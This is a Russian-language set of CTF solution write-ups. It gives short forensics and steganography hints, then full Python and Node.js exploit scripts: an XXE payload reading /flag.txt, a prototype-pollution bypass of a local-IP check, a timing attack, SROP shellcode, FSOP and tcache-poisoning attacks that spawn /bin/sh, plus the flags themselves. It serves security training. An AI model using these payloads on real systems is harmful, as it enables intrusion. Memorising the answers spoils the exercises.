# Модуль A "CTF (Захват флага)"
### pdf
Это испытание в 2 этапа :
Во-первых, нажмите CTRL+а в PDF, чтобы найти пароль, написанный белым по белому.
``f1rs7_p4$$word``
Второй шаг - просмотреть метаданные PDF-файла, чтобы найти второй пароль.
> exiftool <название>.pdf
...
Создатель : 5EC0ND_P4SSW0RD
...
Мы распаковываем архив с 2 найденными паролями и получаем флаг.
flag{F1N4LLY}
### audio
Откройте спектограмму wav файла и промаштабируйте чтобы увидеть флаг
### picture
strings comedian.jpg, в строках лежит ответ
### kitty
флаг на картинке
### RGB
Каждый цвет = hex
### 1+1
склейка картинок, binwalk
### old text
флагом является количество симловов в строке переведнное в ascii
### HiddenMessage
одном из потоков был флаг

### log file
нужны было найти файл с расширением "sh" и подставить в формат флага полный путь до файла
flag{полный путь}
### wireshark
в одном из потоков находим флаг

### protocol
в одном из потоков находим флаг :>

### mitm
было дано два файла, один (sslkeyfile.txt) нужно было импортнуть с целью изучения шифрованного трафика
### easy shake
Еда для змейки генерируется в виде флага, сам флаг flag{SHAKE}
### my music
Открываем в VLC и выбираем венгерский язык суббтитров. На 2:28 на долю секунды появляется флаг
### unzip
распаковка циклом
### vim
Полученный файл имеет расширение `.gz`, после расжатия архиватором gzip получаем файл `data.img`. Воспользуемся утилитой `file`:
```
$ file data.img
data.img: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "mkfs.fat", sectors/cluster 4, reserved sectors 4, root entries 512, Media descriptor 0xf8, sectors/FAT 128, sectors/track 32, heads 64, sectors 131072 (volumes > 32 MB), serial number 0xc5dae84c, unlabeled, FAT (16 bit)
```
Это — FAT. Примонтируем FAT:
```
# mkdir /media/task
# mount -t vfat -o ro,umask=000
```
На Windows можно воспользоваться различными средствами для просмотра содержимого образа. На диске видим четыре директории, в одной из которых лежит скрытый файл `.agreement.txt.swp` — это бекап текстового редактора Vim. Восстановим его командой `vim -r .agreement.txt.swp`.
В месте электронной подписи видим base64 от флага.
### 100 pages
ctrl + a -> вставить в текстовый редактор
### web 1
Сервис использует протокол WebSocket для запросов расчета цены. По протоколу отправляются данные в формате json, дополнительно шифрованные методом AES, реализованным на клиенте и сервере. Поскольку seed для генерации ключа шифрования склеивается с IV и шифротекстом, можно без труда шифровать и расшифровывать данные при общении с сервером.
В посылаемых данных присутствует параметр format со значением json. Можно пробовать его изменять на другие форматы данных и понять, что формат .xml также принимается. Далее находим уязвимость XXE, позволяющую читать локальные файлы, с помощью которой читаем флаг /flag.txt. Пример реализации:
```
const ws = require('ws');
const CryptoJS = require("crypto-js");
payload = `<!DOCTYPE r [<!ENTITY sp SYSTEM "file:///flag.txt">]><data><countries></countries><startdate></startdate><enddate></enddate><resttype></resttype><r>&sp;</r></data>`
const MASTER_PASSWORD = 'InsureYourTravel'
function encrypt(data) {
var G = CryptoJS.lib.WordArray.random(16);
key = CryptoJS.PBKDF2(MASTER_PASSWORD, G, {
keySize: 8,
iterations: 100
});
var iv = CryptoJS.lib.WordArray.random(16);
var I = CryptoJS.AES.encrypt(data, key, {
iv: iv,
padding: CryptoJS.pad.Pkcs7,
mode: CryptoJS.mode.CBC
});
return CryptoJS.enc.Base64.stringify(G.concat(iv).concat(I.ciphertext))
}
function toBase64String(words){
return CryptoJS.enc.Base64.stringify(words);
}
function decrypt(data) {
data = CryptoJS.enc.Base64.parse(data)
var G = CryptoJS.lib.WordArray.create(data.words.slice(0, 4))
var iv = CryptoJS.lib.WordArray.create(data.words.slice(4, 8))
var ciphertext = CryptoJS.lib.WordArray.create(data.words.slice(8))
key = CryptoJS.PBKDF2(MASTER_PASSWORD, G, {
keySize: 8,
iterations: 100
});
ciphertext = toBase64String(ciphertext);
var D = CryptoJS.AES.decrypt(ciphertext, key, {
iv: iv
}).toString(CryptoJS.enc.Utf8)
return D
}
function decrypted(body) {
let { data } = body;
if (!data)
return data;
return JSON.parse(decrypt(data));
}
function encrypted(body) {
return {'data': encrypt(JSON.stringify(body))};
}
const socket = new ws.WebSocket('ws://IP:PORT');
socket.addEventListener('message', (event) => {
if (event.data == 'connected') return;
if (JSON.parse(event.data).error) {
console.log(JSON.parse(event.data).error);
return;
}
let dec = decrypted(JSON.parse(event.data));
console.log(dec);
});
socket.addEventListener('open', (event) => {
let enc = JSON.stringify(encrypted({format: 'xml', data: payload}));
socket.send(enc);
});
```
### web 2
Пример реализации эксплойта для решения:
```
import requests
URL_BASE = "http://ip:port"
s = requests.Session()
s.post(f"{URL_BASE}/register", data={ "username": "username\r\n\r", "password": "123" })
res = s.get(URL_BASE)
print(res.text)
```
### web 3
Задача участника обойти проверку на локальный ip.
```
req.isLocalRequest = req.ip.includes("127.0.0.1")
...
if (!req.isLocalRequest) return res.send("You should make request locally")
```
Для этого участник сначала должен обратить внимание на следующие строки:
```
app.get("/pollute/:param/:value", (req, res) => {
var a = {}
a["__proto__"][req.params.param] = req.params.value
res.send("Polluted!")
})
```
В данном отрывке кода находится уязвимость под названием prototype pollution.
Сама по себе она не сможет помочь обойти проверку, ведь в силу специфики prototype pollution у участника появляется возможность изменять только необъявленные свойства.
Далее, в процессе решения, участник должен обратить внимание на функции, которые могут вызываться неоднократно, при этом после того, как произошло “загрязнение” свойства.
Ниже представлен перечень строк, подходящих под описание.
```
app.use(session({
secret: 'secret',
resave: false,
saveUninitialized: false,
store: new SQLiteStore({ db: 'sessions.db', dir: "."})
}))
app.use(passport.authenticate('session'))
app.use(passport.initialize())
```
В процессе изучения функций участник должен проанализировать файл из исходного кода opensource проекта passport.js.
В файле passport/lib/strategies/session.js на 117 строчке участник должен заметить, что параметр _userProperty не объявлен, значит он может контролировать его значение.
```
var paused = options.pauseStream ? pause(req) : null;
this._deserializeUser(su, req, function(err, user) {
if (err) { return self.error(err); }
if (!user) {
delete req.session[self._key].user;
} else {
var property = req._userProperty || 'user';
req[property] = user;
}
self.pass();
```
Из 118 строчки понятно, что имея контроль над параметром _userProperty, мы можем изменять значение в объекте req для любого ключа, отсюда следует, что мы можем перезаписать isLocalRequest на произвольную непустую строчку, тем самым обойдя проверку.
Пример решения:
```
import requests
URL = "http://ip:port"
s = requests.Session()
s.get(f"{URL}/pollute/_userProperty/isLocalRequest")
s.get(f"{URL}/auth?username=user")
res = s.get(f"{URL}/admin/flag")
print(res.text)
```
### crypto 1
В данном задании участнику предоставляется сервис по хэшированию сообщения. Участник запрашивает бит флага, который будет захэширован и передан участнику (неограниченное количество раз). При этом, для шифрования нулевого бита и единичного бита будут выбираться разные алгоритмы хэширования, которые значительно различаются по времени. Участнику надо проанализировать медианное время хэширование нулевого и единичного бита, а после найти ответ.
Для решения данной задачи участнику было нужно:
Найти длину флага при помощи бинарного поиска (или просто перебора);
Понять, что если выбранный бит флага равен единице, то операция будет сильно сложнее, чем операция при бите флага равном нулю.
Ниже представлено решение:
```
import requests
import time
from Crypto.Util.number import *
r = requests.Session()
url = 'http://127.0.0.1:5000'
# Данная функция возвращает бит ответа по индексу
def guess_bit(index:int):
return r.get(f"{url}/guess_bit?bit={index}").json()
# Данная функция возвращает бит ответа по индексу и время, которое на это ушло
def guess_bit_timing(index:int):
time_start = time.time_ns()
ans = r.get(f"{url}/guess_bit?bit={index}").json()
time_end = time.time_ns()
return ans, time_end - time_start
# Данная функция реализует бинарный поиск по длине ответа, возвращает количество бит в ответе
def find_length():
msg = guess_bit(0)
low = 0
#i think 1000 bits for flag enough
high = 1000
#binary search for smart people :D
while low <= high:
middle = (low + high)//2
msg = guess_bit(middle)
if "error" in msg.keys():
high = middle - 1
else:
low = middle + 1
#from zero to length of flag - 1
return low
length = find_length()
# Данная функция находит среднее время, необходимое, чтобы достать бит по индексу.
def medium_time(index, attempts = 50):
timings = []
# hardcoded 50 is a random number
for _ in range(attempts):
timings.append(guess_bit_timing(index)[1])
return sum(timings)/len(timings)
# Находим среднее время для нулевого бита
MED_ZERO_TIME = medium_time(length - 2)
# Находим среднее время для единичного бита
MED_ONE_TIME = medium_time(0)
# Находим медианное время
MED_TO_DIVIDE = (MED_ZERO_TIME + MED_ONE_TIME)/2
# Данная функция находит бит, сравнивая среднее время для бита по индексу и медианное время
def timing_attack_for_bit(index):
bit_time = medium_time(index, 10)
return '1' if bit_time > MED_TO_DIVIDE else '0'
# Данная функция находит каждый бит флага
def retrieve_flag():
flag = ''
for i in range(length):
flag += timing_attack_for_bit(i)
return long_to_bytes(int(flag,2)).decode()
if __name__ == "__main__":
print(retrieve_flag())
```
### crypto 2
В данной задаче участнику необходимо найти секрет в уязвимой версии протокола Дифи-Хеллмана. По предположению протокола оба участника обмена не должны знать ключи друг друга. Уязвимость в данном задании заключается в том, что секрет постоянен. Участнику необходимо собрать достаточно дискретных логарифмов по подгруппам (по которым легко считать дискретный логарифм) и найти ответ при помощи китайской теоремы об остатках, взяв как остатки - дискретные логарифмы, а как модули — порядки подгрупп, по которым дискретный логарифм считался.
Участником предоставлялось множество уравнений:
`pow(g,answer,p) == x`
Где answer – ответ на задачу, а g и p - разные в каждом уравнении.
Участнику необходимо модифицировать алгоритм Полига-Хеллмана для постоянного секрета и множества уравнений. Ниже представлена одна из возможных реализаций:
```
from sage.all import *
from factorize import factorize as ife
import math
from info import info as infos
from libnum import solve_crt
from Crypto.Util.number import *
import requests
import time
#main idea to find small factors of an order of element
#than take subgroup of order with small factor and compute discrete log
#than take crt and win
url = 'http://127.0.0.1:5000'
# Данная функция получает уравнение
def get_info(num):
anses = []
for _ in range(num):
anses.append(requests.get(f"{url}/shared_flag").json())
return anses
# Данная функция получает делитель числа number, находящийся в промежутке от 2^10 до 2^40
def find_convinient_factor(number, min=2**10, max=2**40):
factors = ife(number)
maxi = None
for i in range(len(factors)):
if min < factors[i] < max:
maxi = factors[i]
return maxi
# Данная функция находит маленький дискретный логарифм по подгруппе, порядка маленького множителя порядка группы.
def get_small_discrete_log(info):
p = info['p']
g = info['g']
order = p - 1
# Находим новый порядок подгруппы
_factor = find_convinient_factor(order)
if _factor is None:
return None, None
# Если смогли найти удобный для нас множитель
G = GF(p)
# Переходим в подгруппу порядка _factor
new_g = G(pow(g, order//_factor, p))
new_secret = G(pow(info['shared_flag'], order//_factor, p))
# Считаем дискретный логарифм по подгруппе маленького порядка
flag_part = discrete_log(new_secret, new_g, _factor)
# Возвращаем результат логарифмирования и порядок подгруппы
return flag_part, _factor
# Данная функция вызывает get_small_discrete_log пока не будет достаточно информации для получения ответа
def handle_info(infos):
orders = []
remainders = []
for info in infos:
parted = get_small_discrete_log(info)
if parted[1] is not None:
if parted[1] not in orders:
orders.append(parted[1])
remainders.append(parted[0])
print(f"{prod(orders).bit_length()}/180 of progress", end = '\r')
if prod(orders) > 2**180:
return orders, remainders
return orders, remainders
def solve():
ords, rems = handle_info(infos)# Находим результаты логарифмирования и порядки подгрупп, в которых эти логарифмы были найдены
# При помощи китайской теоремы об остатках находим ответ.
print(long_to_bytes(solve_crt(rems,ords )).decode())
if __name__ == "__main__":
solve()
```
### pwn 1

Таск состоит из одного бинарного файла, который состоит из 14 строчек ассемблерного кода и слинкован без каких-либо библиотек (рис. 1).

Из ассемблерного кода становится ясна суть программы: после прочтения на стек `0x20` байт начинается переполнение, позволяющее получить контроль над потоком выполнения программы. Поскольку в задании отсутствуют механизмы защиты в лице канареек и `PIE`, очевидным способом решения задания становится `ROP`.
В задании присутствует один существенный нюанс - это размер бинарного файла. В силу размеров и отсутствия прилинкованных библиотек возникают трудности с построением рабочей ROP-цепочки. На первый взгляд существует всего 2 гаджета:
* гаджет прочтения по адресу `rbp-0x20`
* `syscall`- гаджет
Однако, для того, чтобы воспользоваться `sycall`-гаджетом, нам необходимо контролировать значение регистра `rax`, для чего мы воспользуемся свойством вызываемого в программе syscall-ом `read` - количество прочитанных им байт сохраняется в этом регистре. Таким образом мы получили два примитива.
К сожалению, этого все еще недостаточно, чтобы полноценно управлять исполнением программы, поскольку для использования остальных syscall-ов нам необходимо контроллировать аргументы для них, а гаджетов для этого попросту нет. На наше счастье существует syscall `sigreturn`, а техника построения `ROP`-цепочек с его использованием носит название `SROP`.
```
sigreturn, rt_sigreturn - return from signal handler and cleanup
stack frame
int sigreturn(...);
```
По сути данный syscall берет со стека значение всех регистров, которые предварительно были разложены туда в определенном порядке. Итак, поскольку в силу наличия примитива переполнения на стеке мы можем записать туда необходимые значения, то после вызова syscall-а `sigreturn` мы можем управлять значениями всех регистров.
Дальнейший план построения ROP-цепочки
* Подготовить на стеке значения всех регистров;
* С помощью гаджета на чтение прочитать ровно `0xf` байт (номер syscall-а `sigreturn`);
* Подготовить sigreturn frame для вызова `mprotect`;
* После вызова mprotect записать shellcode и “прыгнуть” на него.
После вызова `sigreturn` будет выполнена инструкция `ret`, a значит, регистр `rsp` должен указывать на какое-то место в бинарном файле, в котором лежит адрес его исполняемой части, чтобы избежать падения программы. Это место ищется вручную с помощью gdb и в итоговом эксплойте является просто магическим числом.
Пример исходного кода для решения:
```
import pwn
from time import sleep
from os import getenv
SHELLCODE = b"\x48\x31\xF6\x48\x31\xD2\x49\xB8\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x4C\x89\x04\x25\x00\x10\x40\x00\x48\xC7\xC7\x00\x10\x40\x00\x48\xC7\xC0\x3B\x00\x00\x00\x0F\x05"
SYSCALL_GADGET = 0x000000000040102d
READ_ON_BUF = 0x0000000000401018
binary = pwn.ELF("./micro")
pwn.context.binary = binary
io = pwn.remote(getenv("IP"), int(getenv("PORT")))
frame = pwn.SigreturnFrame()
frame.rdi = 0x400000
frame.rsi = 0x10000
frame.rax = 0xa
frame.rdx = 0x7
frame.rbp = 0x402100
frame.rip = SYSCALL_GADGET
frame.rsp = 0x4021f0
payload = pwn.cyclic(0x20) # fill buffer
payload += pwn.p64(READ_ON_BUF)
payload += pwn.p64(SYSCALL_GADGET)
payload += bytes(frame)
io.send(payload)
sleep(1)
io.send(pwn.cyclic(0xf))
sleep(1)
payload2 = pwn.cyclic(0x20) + pwn.p64(0x4021f0 + 0x8)
payload2 += SHELLCODE
io.send(payload2)
io.interactive()
```
### pwn 2
Задание представляет собой имитацию записной книжки - мы имеем возможность записывать в нее, читать записанное, либо выйти. Нам видны сразу же две уязвимости.
Уязвимость форматной строки в функции вывода содержимого:
```
void printNotebook() {
printf("Here's what you wrote.\n");
printf(data);
}
```
Вместо действительного вывода в файл программа переписывает указатель на файловую структуру с введенными пользователем данными:
```
printf("I'm not really sure, how to write to a file, I guess that's the correct way...\n");
memcpy(¬ebook, data, 0x100);
fclose(notebook);
return 0;
}
```
План эксплуатации:
* получить базовые адреса бинарного файла и `libc` с помощью форматной строки;
* провести атаку на файловую структуру (данная техника носит название `FSOP`).
`FILE *` представляет собой указатель на структуру `_IO_FILE_plus`
```
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
//....//
};
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
//...//
JUMP_FIELD(_IO_imbue_t, __imbue);
};
```
По сути своей это структура, полностью описывающая файловый поток, и таблица функций, она же `vtable`. `Vtable` - очень важная структура, так как содержит в себе указатели на функции, использующиеся “под капотом” многих других. Так, например, функция `fclose()` в своей реализации вызывает поле `__finish` `vtable`-а файловой структуры.
```
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
int
_IO_new_fclose (_IO_FILE *fp)
{
int status;
//....//
_IO_FINISH (fp);
if (fp->_mode > 0)
//....//
}
```
Таким образом, если мы можем контролировать указатель на файловую структуру, мы в состоянии создать поддельную файловую структуру, поле `__finish` `vtable`-а которой указывает на интересующую для вызова функцию.
К сожалению, мы не в состоянии сразу указать поле `__finish` на условный `one-gadget`, поскольку начиная с `glibc-2.27` была введена проверка того, что все указатели `vtable`-а структуры `_IO_FILE_plus` лежат в строго отведенной под это области `glibc`.
```
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
```
К счастью для нас, в `glibc-2.27` в этой области, отведенной под `vtable`-ы, существует функция `_IO_str_finish`
```
oid
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
```
Мы сразу же замечаем, что тут происходит преобразование нашей файловой структуры к типу `_IO_strfile`, а затем поле преобразованной структуры используется в качестве указателя на функцию, аргументом которй подается поле `_IO_buf_base`.
Итак, финальный план выглядит следующим образом:
* Создать файловую структуру, по оффсету `0xe8` (где должен находиться указатель на функцию), от которой мы положим адрес функции `system`;
* В поле `_IO_buf_base` нашей структуры мы положим указатель на строку `/bin/sh`;
* Переписать `_vtable` таким образом, чтобы в поле `__finish` лежал указатель на `_IO_str_finish`;
Пример кода:
```
import pwn
from os import getenv
binary = pwn.ELF("./../chall/notebook", checksec=False)
ld = pwn.ELF("./../chall/ld-2.27.so", checksec=False)
libc = pwn.ELF("./../chall/libc-2.27.so", checksec=False)
LIBC_OFFSET = 0x3b07e3
io = pwn.remote(getenv("IP"), int(getenv("PORT")))
def pad(payload, size):
return payload + b'\x00' * (size - len(payload))
def postThread(payload):
io.sendline(b'1')
io.sendlineafter(b'> ', payload)
io.recvuntil(b'> ')
def readThread():
io.sendline(b'2')
io.recvuntil(b'> ')
io.recvline()
return io.recvline(b'> ')
def Exit():
io.sendline(b'3')
io.interactive()
# send payload for leak
leakPayload = b'%p|' * 30
postThread(leakPayload)
# leak libc base
libc_leak = readThread().split(b'|')[0]
libc_leak = int(libc_leak.decode(), 16)
libc.address = libc_leak - LIBC_OFFSET
pwn.log.success(f"LIBC_BASE: {hex(libc.address)}")
print(hex(libc.symbols['_IO_str_jumps'] - libc.address))
print(hex(libc.symbols['system'] - libc.address))
print(hex(next(libc.search(b'/bin/sh')) - libc.address))
# craft fake _IO_FILE_plus structure
fakeFile = b''
fakeFile = pad(fakeFile, 0x38)
fakeFile += pwn.p64(next(libc.search(b'/bin/sh'))) # _IO_buf_base
fakeFile = pad(fakeFile, 0x88)
fakeFile += pwn.p64(0x404070) # _lock
fakeFile = pad(fakeFile, 0xd8)
fakeFile += pwn.p64(libc.symbols['_IO_str_jumps']) # _vtable
fakeFile = pad(fakeFile, 0xe8)
fakeFile += pwn.p64(libc.symbols['system'])
payload = pwn.p64(binary.symbols['notebook'] + 8)
payload += fakeFile
postThread(payload)
io.interactive()
#Exit()
```
### pwn 3
Задание представляет собой имитацию дневника. Доступен функционал создания, чтения, удаления и изменения записей.
```
void printMenu() {
puts("1) Add");
puts("2) Edit");
puts("3) View");
puts("4) Remove");
puts("5) Exit");
}
```
Сразу же ясeн характер уязвимости: при удалении записи указатель на область кучи на заменяется нулем, что позволяет с помощью методов редактирования и чтения записей обращаться к освобожденным участкам кучи (UAF).
```
void deleteGrade() {
//...//
free(diary[index] -> comment);
free(diary[index]);
}
```
Прежде всего воспользуемся найденной уязвимостью, чтобы получить базовый адрес `libc`. Для этого, освободив достаточно большой для попадания в `unsorted bin` участок памяти, посмотрим его содержимое методом `viewGrade()`. У чанков в `unsorted bin` на месте указателя fd будет лежать адрес main_arena, которая находится как раз где-то внутри glibc.
Чтобы перехватить управление исполнением программы, воспользуемся тем, что в версии glibc задания все еще присутствуют символы `__free_hook`, `__malloc_hook` и `__realloc_hook`. Переписав их значение на указатель интересующей нас функции (разумеется, `system`), мы сможем, подав в качестве аргумента функции `free()` указатель на аллоцированный кусок памяти со строкой `/bin/sh`, получить shell.
Для этого будет исполнена техника -[tcache_poisoning](https://github.com/shellphish/how2heap/blob/master/glibc_2.31/tcache_poisoning.c). Переписав в “отравленном” чанке указатель `fd` на адрес `__free_hook`, мы сможем, выделив его себе под запись, изменить значение на адрес функции `system`.
Пример кода:
```
import pwn
from os import getenv
ONE_GADGETS = [0xe699e, 0xe69a1, 0xe69a4, 0x10af39]
io = pwn.remote(getenv("IP"), int(getenv("PORT")))
def Add(mark, size, comment):
io.sendline(b"1")
io.recvuntil(b": ")
io.sendline(str(mark).encode())
io.recvuntil(b": ")
io.sendline(str(size).encode())
io.recvuntil(b": ")
io.send(comment)
io.recvuntil(b": ")
def Edit(index, mark, size, data):
io.sendline(b"2")
io.sendlineafter(b': ', str(index).encode())
io.sendlineafter(b': ', str(mark).encode())
io.sendlineafter(b': ', str(size).encode())
io.sendlineafter(b': ', data)
io.recvuntil(b": ")
def View(index):
io.sendline(b"3")
io.sendlineafter(b': ', str(index).encode())
comment = io.recvuntil(b'1)')[15:]
io.recvuntil(b": ")
return comment
def Remove(index):
io.sendline(b"4")
io.sendlineafter(b': ', str(index).encode())
io.recvuntil(": ")
def Exit():
io.sendline(b'5')
io.interactive()
Add(0, 0x410, b"/bin/bash") # 0
Add(1, 0x40, b"/bin/bash") # 1
Add(2, 0x40, b"/bin/bash") # 2
# fill up tcache and prevent chunk consolidation
for i in range(3, 10):
Add(i, 0x60, b"/bin/bash")
for i in range(3, 10):
Remove(i)
# move large chunk to unsorted bin
Remove(0)
leak = View(0)
leak = leak.split(b': ')[2][:-2]
leak = int.from_bytes(leak, byteorder="little")
libc_base = leak - 0x1eabe0
print("[+] leak: ", hex(leak))
print("[+] base: ", hex(libc_base))
# tcache poisoning
Remove(1)
Remove(2)
# malloc hook
Edit(2, 5, 0x40, pwn.p64(libc_base + 0x1eab5d))
Add(0, 0x40, b"/bin/bash")
Add(0, 0x40, b"\x00"*19 + pwn.p64(libc_base + ONE_GADGETS[1]))
io.sendline(b"1")
io.interactive()
```
### linux 1,2,3
Таск был на форензику, нужно было сбросить пасс и залогиниться или получить доступ к диску иным путем.